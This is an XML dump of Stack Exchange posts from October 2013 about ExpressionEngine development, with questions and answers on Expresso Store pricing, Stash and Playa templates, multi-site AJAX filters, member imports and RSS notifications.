  <row Id="14572" PostTypeId="1" AcceptedAnswerId="14686" CreationDate="2013-10-14T16:55:43.983" Score="2" ViewCount="610" Body="&lt;p&gt;Expresso Store lets you determine your price decimal places globally. So even if you generally price things as whole dollars ($125.00), it's likely you'll need to set your display to 2 decimal places, since things like percent-based sales, shipping, and sales tax will require displaying the decimal places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way, besides PHP, to override the decimal place setting right in the templates? I'm imagining something like &lt;code&gt;{price decimals=&quot;0&quot;}&lt;/code&gt; or maybe a more elaborate &lt;code&gt;{price format=&quot;something&quot;}&lt;/code&gt; where something apes PHP's &lt;code&gt;money_format()&lt;/code&gt; syntax.&lt;/p&gt;&#xA;" OwnerUserId="489" LastActivityDate="2013-10-17T20:57:16.987" Title="Can you override decimal places for Expresso Store price variables in the templates?" Tags="|expresso-store|number-format|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14573" PostTypeId="2" ParentId="14560" CreationDate="2013-10-14T17:29:09.713" Score="2" Body="&lt;p&gt;If you can overcome your objections to using the native Entry Date I'd definitely opt for using that...  However, if you want to essentially rebuild the month_links functionality yourself, you could do this with Stash (yet again!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something like this, using two nested &lt;code&gt;get_list&lt;/code&gt; tags: (if you're using an embedded view template you won't need the &lt;code&gt;stash:parse&lt;/code&gt; tags, but they're handy here when setting and getting in the same template...)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;articles&quot; dynamic=&quot;no&quot;}&#xA;&#xA;    {exp:stash:append_list name=&quot;months-to-output&quot; trim=&quot;yes&quot;}&#xA;        {stash:month-num}{publication_date format='%m'}{/stash:month-num}&#xA;        {stash:month-title}{publication_date format='%F %Y'}{/stash:month-title}&#xA;    {/exp:stash:append_list}&#xA;&#xA;    {exp:stash:append_list name=&quot;articles-by-month&quot; context=&quot;{custom_date format='%m'}&quot;}&#xA;        {stash:the-title}{title}{/stash:the-title}&#xA;        {stash:the-link}{url_title_path=articles}{/stash:the-link}&#xA;    {/exp:stash:append_list}&#xA;&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- ==============================&#xA;TEST OUTPUT &#xA;=================================== --} &#xA;&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;    &amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list name=&quot;months-to-output&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{month-title}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;ul&amp;gt;&#xA;            {exp:stash:get_list:2 name=&quot;articles-by-month&quot; context=&quot;{month-num}&quot;}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{the-link}&quot;&amp;gt;{the-title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/exp:stash:get_list:2}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;    &amp;lt;/ul&amp;gt;&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastEditorUserId="182" LastEditDate="2013-10-14T17:41:02.443" LastActivityDate="2013-10-14T17:41:02.443" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14574" PostTypeId="2" ParentId="14570" CreationDate="2013-10-14T17:35:09.160" Score="1" Body="&lt;p&gt;I did the math within the SQL to receive my results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: The solution.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT COUNT(entry_id) / 25 AS count FROM exp_channel_data WHERE channel_id = 97&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1173" LastEditorUserId="1173" LastEditDate="2013-10-15T14:57:07.770" LastActivityDate="2013-10-15T14:57:07.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14575" PostTypeId="2" ParentId="14565" CreationDate="2013-10-14T18:04:31.940" Score="0" Body="&lt;p&gt;You could try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;master config&lt;/a&gt; where you can set environment variables and custom global variables but this isnt done via control panel. In fact, quite the opposite happens. You set a variable in master config and it cant be changed in control panel. Handy when you have certain settings that need to be locked down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/wiki&quot; rel=&quot;nofollow&quot;&gt;stash&lt;/a&gt; and set user or site variables via an input form. Save variable and define an appropriate refresh period.&lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-10-14T18:04:31.940" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14576" PostTypeId="2" ParentId="14533" CreationDate="2013-10-14T18:06:44.377" Score="2" Body="&lt;p&gt;There are situations where it could be preferable to not have any radio buttons selected in advance, but this is for another conversation ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it isn't possible to dynamically put a radio/checkbox group/select value as checked in the Composer Template at this time. What would be needed is a tag pair for these fields in the Composer Template, such as eg. {freeform:field:{composer:field_name}}{/freeform:field:{composer:field_name}}. That way you could set the first loop as &quot;checked&quot;. Unfortunately this feature is not available at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One workaround would be to use javascript/jQuery to select your first item in the radio group. For example something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;input:radio[name=field_name]:first&quot;).attr('checked', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another workaround is to use a form field that is guaranteed to always have a value selected by default/on first load: the &lt;strong&gt;select&lt;/strong&gt; field.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-10-14T18:06:44.377" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14577" PostTypeId="1" CreationDate="2013-10-14T18:17:04.750" Score="0" ViewCount="147" Body="&lt;p&gt;I'm trying to build a database of K-12 schools for a directory site and wanted to organize them nicely as well as make it easy to enter information in without re-entering the same info in too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came up with this solution that involves 4 channels and playa fields:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Channel: States - has only Title field (50 entries)&lt;/li&gt;&#xA;&lt;li&gt;Channel: Counties - has a Title field and a Playa field: state (58 entries in this channel for the state of CA alone)&lt;/li&gt;&#xA;&lt;li&gt;Channel: School Districts - has a Title field and a Playa field: county (100's of entries in this channel for the state of CA alone)&lt;/li&gt;&#xA;&lt;li&gt;Channel: Schools - has a Title field, a Playa field: district, as well as a number of other fields that pertain to the school.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I figured by having the prior relationships I can traverse up and get all the info I need without having to enter in the same info in each school all the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Main question is: Is my structure overkill?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My end goal is to use the module Reefine to use for filtering. This way users can use the filter menu to select their state, county and school district to find their school.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already entered some of the data in (all the states and counties for the state of CA, as well as about 150 school districts so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help/guidance for making this easier/more streamlined would be great. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1382" LastActivityDate="2013-10-16T13:22:44.207" Title="Multiple Nested &quot;Layers&quot; using Playa" Tags="|playa|relationships|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14578" PostTypeId="1" AcceptedAnswerId="14594" CreationDate="2013-10-14T18:30:41.907" Score="0" ViewCount="165" Body="&lt;p&gt;I have an MSM installation with two sites (EE version 2.5.5, Playa version 4.4.5). I am using Playa on Site 2. When I am logged into the CP from the URL of Site 2 (i.e. &lt;a href=&quot;http://site2.com/admin.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://site2.com/admin.php&lt;/a&gt;), my live filters for Playa fields work as expected. However, when I am logged into the CP from Site 1's URL (i.e. &lt;a href=&quot;http://site1.com/admin.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://site1.com/admin.php&lt;/a&gt;) and am working in the Site 2, the Playa fields don't filter properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I'm doing: from the channel entry form, in my Playa field, I click the plus button on the Droppanes search menu to filter by Category. However, as soon as I choose the &quot;Category&quot; filter option (or any other filter option), all my listed entries are grayed out, and the filter doesn't seem to limit the entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read on this question (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/5934/playa-filters-failing-with-force-ssl-module-in-place&quot;&gt;Playa Filters failing with Force SSL module in place&lt;/a&gt;) that filters work with an AJAX call based on your URL. I also read that you can direct Playa to the proper site index using this line in the config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['playa_site_index'] = &quot;https://example.com/index.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added this line to my Site 1 config and pointed it at Site 2's URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['playa_site_index'] = &quot;http://site2.com/index.php&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Reset my browser cache, logged back in, but still not working. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="1290" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-10-15T05:30:55.243" Title="Playa Live Filters Not Working in MSM" Tags="|playa|multi-site-manager|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14579" PostTypeId="1" CreationDate="2013-10-14T18:30:52.320" Score="2" ViewCount="140" Body="&lt;p&gt;We're seeing a bit of strange behavior - perhaps our eyes are missing the obvious thing? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This block of code works correctly when used in a template in the main or default site in a MSM configuration.  It also partially works on templates in the added-on site (which happens to be a mobile version of the site: m.domain.com).  Our problem is that the deepest loop using the playa field menu-section-items is not displaying any of the children.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For clarity:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;menu-sections = Matrix Field&#xA;menu-section-title = Matrix Cell/Column type text&#xA;menu-section-items = Matrix Cell/Column type Playa&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have attempted this with real values substituted for the segment variables to no avail. Either method works when used in templates in the default site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CODE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {exp:channel:entries site=&quot;default_site&quot; channel=&quot;menu&quot; url_title=&quot;{segment_3}&quot;}&#xA;&#xA;     {menu-sections row_id=&quot;{segment_4}&quot;}&#xA;&#xA;        {menu-section-title}    &#xA;&#xA;        {menu-section-items} {if no_children} -flag- {/if}&#xA;&#xA;             &amp;lt;li&amp;gt;&#xA;                &amp;lt;span class=&quot;menu_item_title&quot;&amp;gt;{menu-item-title}&amp;lt;/span&amp;gt;&#xA;                &amp;lt;span class=&quot;menu_item_desc&quot;&amp;gt;{menu-item-description}&amp;lt;/span&amp;gt;&#xA;             &amp;lt;/li&amp;gt;&#xA;&#xA;        {/menu-section-items}&#xA;&#xA;     {/menu-sections}&#xA;&#xA;   {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One strange bit of info we uncovered while testing is that the conditional check for children above immediately after the opening menu-section-items tag renders the -flag- contents ONLY when there ARE actual relationships. If relationships are simply blank this -flag- text will not render.  Very odd...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In troubleshooting this problem we have updated our Expression Engine to version 2.7.2 - Build Date: 20131008.  (Current)&#xA;Matrix 2.5.8 (Current)&#xA;Playa 4.4.5 (Current)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone can point us in another direction or highlight an error above?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="2188" LastActivityDate="2013-10-14T18:30:52.320" Title="Playa inside Matrix with MSM" Tags="|matrix|playa|multi-site-manager|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14581" PostTypeId="2" ParentId="14572" CreationDate="2013-10-14T18:36:05.293" Score="1" Body="&lt;p&gt;There is nothing built into Store currently that would allow you to do that. Having said that there are a couple of plugins available already that you can use to format the numbers on the front-end without having to enable php in the the templates. Here are a few that I know of:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/number-format&quot; rel=&quot;nofollow&quot;&gt;Number Format&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/number-formatter&quot; rel=&quot;nofollow&quot;&gt;Number Formatter&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/dollars-fieldtype&quot; rel=&quot;nofollow&quot;&gt;Dollars&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There might be more available, to get this added to the &lt;a href=&quot;https://exp-resso.com/support/feature-requests&quot; rel=&quot;nofollow&quot;&gt;Feature Request&lt;/a&gt; list I would recommend email support@exp-resso.com so it might be added to a future release of Store.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-14T18:36:05.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14582" PostTypeId="1" AcceptedAnswerId="14908" CreationDate="2013-10-14T18:55:55.223" Score="2" ViewCount="101" Body="&lt;p&gt;Using EE 2.7.0 and Importer 2.2.3 and trying to set up a members import. The csv has been saved out of open office as a utf-8 &quot; enclosed and comma-delimited. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 lines to test this with, using the first lines as headings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On import, it recognizes my file, then does the import 'successfully'. However, nothing gets entered into the members group I have designated. I have checked to make sure the group is unlocked, and that my file is formatted correctly. It tells me it runs correctly, but nothing happens to the fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2013-10-14 18:50&#xA;Start Time:&#xA;Run Time: 0.024 seconds&#xA;Import Location: Control Panel&#xA;Number of Queries: 10&#xA;Member Inserted: 0&#xA;Members Updated: 0&#xA;Total Members Processed: 0&#xA;Member IDs:&#xA;End Time: 6134-10-15 18:50&#xA;* Press the ESC key to close window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, I ran this on the full sheet of 700+, and it noticed I had batche processing and said it did the amount on my sheet, but again, nothing went in. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="884" LastEditDate="2013-10-15T19:45:09.837" LastActivityDate="2015-05-13T19:02:56.857" Title="Solspace Importer not importing members in their member group" Tags="|members|import|solspace-importer|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14583" PostTypeId="1" CreationDate="2013-10-14T19:35:20.983" Score="2" ViewCount="66" Body="&lt;p&gt;Our Expression Engine site is essentially a Style Guide for development teams. What i am looking for is a good way to push out changes to the folks that want to listen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good plugin or feature I could use that would allow folks to subscribe by email to content pages or maybe an RSS feed tracking internal changes or even any internal features I may be missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally not all users would need to be Expression engine users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried searching around but most of the results a I get are change logs for the actual product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions? &lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2013-10-14T20:38:12.100" Title="How to Push out Site Content Changes" Tags="|ee2|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14584" PostTypeId="1" CreationDate="2013-10-14T19:41:30.047" Score="1" ViewCount="34" Body="&lt;p&gt;Is it possible to set up default price modifiers per channel since there are many modifiers for each product and a large number of products being uploaded?&lt;/p&gt;&#xA;" OwnerUserId="2189" LastActivityDate="2013-10-14T21:38:59.220" Title="Default Expresso Store product modfiers" Tags="|expresso-store|modifiers|product|default|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2013-10-17T20:52:24.647" ContentLicense="CC BY-SA 3.0" />
  <row Id="14585" PostTypeId="2" ParentId="14583" CreationDate="2013-10-14T19:41:39.380" Score="1" Body="&lt;p&gt;There is an RSS module that's part of the EE base install. You may have to turn it on, but it's there. You can set up RSS feeds for any category or channel you wish, and it can contain a URL, the whole content...whatever. Here's the user manual link to using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/rss/&quot; rel=&quot;nofollow&quot;&gt;RSS module&lt;/a&gt; (note that it is for EE version 2.7+, but the directions should be fairly similar even for older versions. I don't know that the RSS module has had any feature additions since version 1.5x, anyway.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;People would not have to be EE users to get the RSS feeds. All they'd need is an RSS reader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also a mailing list module with the default EE install, for email lists - but I think that's for building an email list and communicating with them rather than for automatically notifying when there are changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that there are other modules out there, created by third-party developers and companies. devot-ee lists them and includes ratings on the modules themselves. &lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-10-14T19:41:39.380" CommentCount="0" CommunityOwnedDate="2013-10-14T19:41:39.380" ContentLicense="CC BY-SA 3.0" />
  <row Id="14586" PostTypeId="2" ParentId="14583" CreationDate="2013-10-14T20:38:12.100" Score="1" Body="&lt;p&gt;It's fairly simple to build an RSS feed with an ExpressionEngine template. There are some examples in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/rss/#sample-rss-and-atom-templates&quot; rel=&quot;nofollow&quot;&gt;user guide&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past I've used &lt;a href=&quot;http://mailchimp.com&quot; rel=&quot;nofollow&quot;&gt;Mailchimp's&lt;/a&gt; RSS to Email service to pick up new posts from an RSS feed and email them out to users.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-10-14T20:38:12.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14587" PostTypeId="2" ParentId="9980" CreationDate="2013-10-14T21:38:59.220" Score="2" Body="&lt;p&gt;There is nothing built into Store currently that would allow you to create modifiers on a per channel basis if you want the modifiers to adjust price or stock levels. There is currently a feature request for &lt;a href=&quot;https://exp-resso.com/support/feature-requests&quot; rel=&quot;nofollow&quot;&gt;Global Product Variations&lt;/a&gt; that you can vote for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not not need to adjust the price, quantity or have a unique SKU for your variations you can use &lt;code&gt;input:custom_modifer_name=&quot;Custom Modifier Display Name&quot;&lt;/code&gt; of the &lt;code&gt;{exp:store:product}&lt;/code&gt; tag (&lt;a href=&quot;https://exp-resso.com/docs/product_tag.html#inputcustom_modifier_name&quot; rel=&quot;nofollow&quot;&gt;docs here&lt;/a&gt;) to create the options at the template level. For something like size you can use the following&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot; input:size=&quot;Size&quot;}&#xA;&#xA;&amp;lt;select name=&quot;size&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;Small&quot;&amp;gt;Small&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;Medium&quot;&amp;gt;Medium&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;Large&quot;&amp;gt;Large&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-10-14T21:38:59.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14590" PostTypeId="1" AcceptedAnswerId="14620" CreationDate="2013-10-15T03:21:18.437" Score="2" ViewCount="1013" Body="&lt;p&gt;I'm trying to process a payment with Stripe, but am getting an error after the form submits and reloads.  The error is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Sorry, there was an unexpected error communicating with the payment gateway.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a little digging and dumped out the exception being throw inside OrdersService.php file. The exception message says &quot;The number parameter is required&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts what the issue may be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Here is the code&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checkout Page: &lt;a href=&quot;https://gist.github.com/bryantAXS/6989698&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/bryantAXS/6989698&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JS: &lt;a href=&quot;https://gist.github.com/bryantAXS/6989724&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/bryantAXS/6989724&lt;/a&gt; (Token created at line 315)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can confirm the token is being created and added to the payment[token] field correctly before the page has submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE 2: I've written a new answer below that is a temporary fix until more clarification or the source is updated.&lt;/p&gt;&#xA;" OwnerUserId="206" LastEditorUserId="206" LastEditDate="2013-10-15T20:04:29.137" LastActivityDate="2013-10-21T20:09:32.710" Title="Stripe Payment Gateway return error" Tags="|expresso-store|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="14592" PostTypeId="2" ParentId="10567" CreationDate="2013-10-15T05:08:31.160" Score="1" Body="&lt;p&gt;If this isn't a membership-based site and you only have 1 or a few legit admin accounts, another quick solution is to (after 1st backing up the db), go into exp_members table in phpMyAdmin, select member_id 1 (this is super admin) and optionally member_id 2 (&amp;amp; 3, etc) and then Export those entries to file. On the same table, go to Operations tab, then select Empty the table (TRUNCATE). Finally, re-import the file you just exported. Do the same for member_data table, and you are back in business.&lt;/p&gt;&#xA;" OwnerUserId="2190" LastActivityDate="2013-10-15T05:08:31.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14593" PostTypeId="1" AcceptedAnswerId="14597" CreationDate="2013-10-15T05:29:59.313" Score="0" ViewCount="337" Body="&lt;p&gt;I want to display category group name in detail page of articles is it possible and how i can do this ?&lt;/p&gt;&#xA;" OwnerUserId="2091" LastActivityDate="2013-10-15T09:18:34.357" Title="How i can display all category group name?" Tags="|ee2|categories|category-group|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14594" PostTypeId="2" ParentId="14578" CreationDate="2013-10-15T05:30:55.243" Score="1" Body="&lt;p&gt;Josh,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cross-domain Ajax requests simply won't work - it's a browser security thing and there's no feasible way around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you should be trying to accomplish is for each MSM CP to shoot off the requests to it's respective domain, not a single silver-bullet domain, since that will work only when accessing CP from the same domain as the config settings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting $config['playa_site_index'] to &quot;/index.php&quot; should do the trick in this case.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-10-15T05:30:55.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14595" PostTypeId="2" ParentId="14565" CreationDate="2013-10-15T06:06:19.473" Score="-1" Body="&lt;p&gt;I would store the settings in 'settings' column in 'exp_modules' table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does not exist in early versions of EE 2.x, so in your upd.my_module.php in function install() add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;dbforge(); &#xA;&#xA;    //----------------------------------------&#xA;    // EXP_MODULES&#xA;    // The settings column, Ellislab should have put this one in long ago.&#xA;    // No need for a seperate preferences table for each module.&#xA;    //----------------------------------------&#xA;    if ($this-&amp;gt;EE-&amp;gt;db-&amp;gt;field_exists('settings', 'modules') == FALSE)&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;dbforge-&amp;gt;add_column('modules', array('settings' =&amp;gt; array('type' =&amp;gt; 'TEXT') ) );&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and example save_settings() function can look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function save_settings()&#xA;{&#xA;&#xA;    if (empty($_POST))&#xA;    {&#xA;        show_error($this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line('unauthorized_access'));&#xA;    }&#xA;&#xA;    unset($_POST['submit']);&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where('module_name', 'My_module');&#xA;    $this-&amp;gt;EE-&amp;gt;db-&amp;gt;update('modules', array('settings' =&amp;gt; serialize($_POST)));&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_flashdata(&#xA;        'message_success',&#xA;        $this-&amp;gt;EE-&amp;gt;lang-&amp;gt;line('preferences_updated')&#xA;    );&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect(BASE.AMP.'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=my_module'.AMP.'method=settings');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-10-15T06:06:19.473" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14597" PostTypeId="2" ParentId="14593" CreationDate="2013-10-15T09:18:34.357" Score="1" Body="&lt;p&gt;You can write simple SQL for it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT group_id, group_name FROM exp_category_groups WHERE site_id='1'&quot;}&#xA;    &amp;lt;p&amp;gt;&#xA;        Category Group ID: {group_id}&#xA;        Category Group Name: {group_name}&#xA;    &amp;lt;/p&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-15T09:18:34.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14598" PostTypeId="1" CreationDate="2013-10-15T09:40:52.930" Score="0" ViewCount="34" Body="&lt;p&gt;I need to create a channel which editors can upload different events to and where user can then enter their details and pay to attend these events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was going to use channels and simple commerce to enable users to pay for these events but we'd also want to capture some information from the user such as name, email, etc. What the easiest way to capture their information?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Julie&lt;/p&gt;&#xA;" OwnerUserId="988" LastActivityDate="2013-10-15T10:50:05.003" Title="Simple Commerce, capture user information" Tags="|commerce|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14599" PostTypeId="1" AcceptedAnswerId="14604" CreationDate="2013-10-15T10:46:58.250" Score="1" ViewCount="807" Body="&lt;p&gt;I want to remove template name from URL. I want to display only template_group/entry-name. Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2091" LastEditorUserId="28" LastEditDate="2013-10-30T18:20:05.033" LastActivityDate="2013-10-30T18:20:05.033" Title="How can I remove template name from url?" Tags="|ee2|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14600" PostTypeId="2" ParentId="14598" CreationDate="2013-10-15T10:50:05.003" Score="1" Body="&lt;p&gt;You should use Custom Profile Data Tag to get all the user's data. See doc from here: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/#custom-profile-data-tag&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/member/#custom-profile-data-tag&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-15T10:50:05.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14601" PostTypeId="2" ParentId="14599" CreationDate="2013-10-15T10:52:39.703" Score="0" Body="&lt;p&gt;The easiest way will be just put the code within the &quot;index&quot; template of that template group. By doing it, you can have the URL like template_group/entry-name.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-10-15T10:52:39.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
